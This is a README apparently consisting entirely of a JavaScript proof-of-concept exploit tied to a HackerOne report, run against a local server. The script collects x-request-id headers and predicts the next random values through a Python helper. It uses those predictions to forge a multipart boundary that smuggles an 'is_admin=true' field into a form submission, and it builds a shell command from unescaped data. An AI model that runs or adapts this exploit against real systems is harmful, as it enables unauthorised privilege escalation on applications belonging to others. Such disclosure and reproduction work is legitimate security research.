README.md
Rendering markdown...
// Based on https://hackerone.com/reports/2913312
import http from "http";
import childProcess from "child_process";
const TARGET_LEAK = "http://localhost:9500/example";
const TARGET_PAYMENT = "http://localhost:9500/invite_user";
let vals = [];
const boundaryIntro = "----------------------------";
function predict(vals) {
let out = childProcess
.execSync(`python3 predict.py '${JSON.stringify(vals)}'`)
.toString()
.trim();
console.log("PREDICT:", out);
return out;
}
async function main() {
// // observe random values from the application
// vals = [];
for (let i = 0; i < 10; i++) {
const res = await fetch(TARGET_LEAK, {
keepalive: false,
});
if (res.status !== 200) {
throw new Error("Failed to fetch: " + res.status);
}
const requestId = res.headers.get("x-request-id");
if (!requestId) {
throw new Error("No x-request-id");
}
await res.text();
vals.push(requestId);
}
// predict the next 24 values
for (let i = 0; i < 24; i++) {
const prediction = predict(vals.slice(-10));
vals.push(prediction);
}
// construct the payload
const boundary = vals
.slice(-24)
.map((v) => Math.floor(v / 1e10).toString(16));
let payload = `zzz\r\n${boundaryIntro}${boundary.join(
""
)}\r\nContent-Disposition: form-data; name="is_admin"\r\n\r\ntrue`;
console.log("PAYLOAD:", payload);
// send the payload; catching ECONNRESET
for (let i = 0; i < 3; i++) {
try {
const r = await fetch(TARGET_PAYMENT, {
method: `POST`,
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: `name=${encodeURIComponent(payload)}`,
keepalive: false,
});
console.log(r.status);
console.log(await r.text());
break;
} catch (e) {
if (i === 2) {
throw e;
}
console.log("Retrying...");
}
}
}
main().catch(console.error);